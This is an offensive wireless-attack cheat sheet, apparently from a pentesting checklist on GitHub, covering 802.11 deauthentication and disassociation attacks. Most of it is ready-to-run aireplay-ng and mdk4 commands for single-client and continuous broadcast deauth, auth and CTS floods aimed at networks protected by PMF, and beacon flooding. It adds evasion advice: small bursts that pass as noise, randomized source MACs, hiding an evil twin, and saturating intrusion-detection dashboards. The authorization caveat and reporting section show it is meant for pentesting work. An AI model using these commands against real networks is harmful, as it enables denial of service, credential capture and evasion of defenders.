offensive-deauth-disassoc

Deauth / Disassoc Attacks

The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.

Quick Workflow

1. Identify target client + AP (BSSID, channel)
2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
4. Send the deauth burst at the right rate

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Single-Client Deauth (Preferred)

Used to force handshake capture, push client to evil twin, or test reconnection behavior.

sudo aireplay-ng --deauth 5 \
  -a AA:BB:CC:DD:EE:FF \    # AP BSSID
  -c 11:22:33:44:55:66 \    # client MAC
  wlan0mon

• --deauth 5 sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.
• More than 30 in a burst is unnecessarily noisy.

Broadcast Deauth (DoS, Use Sparingly)

# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous

# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11

Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.

PMF (802.11w) Awareness

PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:

sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off

PMF Status	Deauth Effect
Off	Classic deauth works
Capable (optional)	Works against clients without PMF, fails against PMF-enabled clients
Required	Classic deauth ignored — must use action-frame attacks

Action-Frame Attacks Against PMF

PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:

# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID>     # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID>     # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID>     # WPA-Enterprise: SAE auth flood

Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.

Beacon Flooding

Confuse clients (and WIPS) by flooding fake beacons:

sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file

Use cases:

• Hide your evil twin among noise
• Stress-test client roaming logic
• DoS WIPS dashboards (flood with thousands of fake APs)

Rate Tuning and Detection

Burst	Defender Signal
3–10 deauth, single client	Often misclassified as roaming or RF noise
>30 deauth/sec from one source	WIPS rule trips
Continuous broadcast deauth	Clear DoS — alert + ticket within minutes
Beacon flood >50/sec	Saturates WIPS dashboards

Randomize source MAC across burst-and-pause cycles to spread the signal.

Engagement Cheatsheet

# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>

# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon

# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>

# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon

Reporting

Document for each test:

• Target BSSID + ESSID + PMF status
• Burst size, duration
• Effect observed (client reconnected? handshake captured? DoS achieved?)
• Detection signals defender would have seen

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Key References

• aireplay-ng documentation
• mdk4: github.com/aircrack-ng/mdk4
• IEEE 802.11w-2009 (PMF spec, now folded into 802.11-2020)
• "Why MAC Address Randomization Doesn't Work" — research on action-frame leakage
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md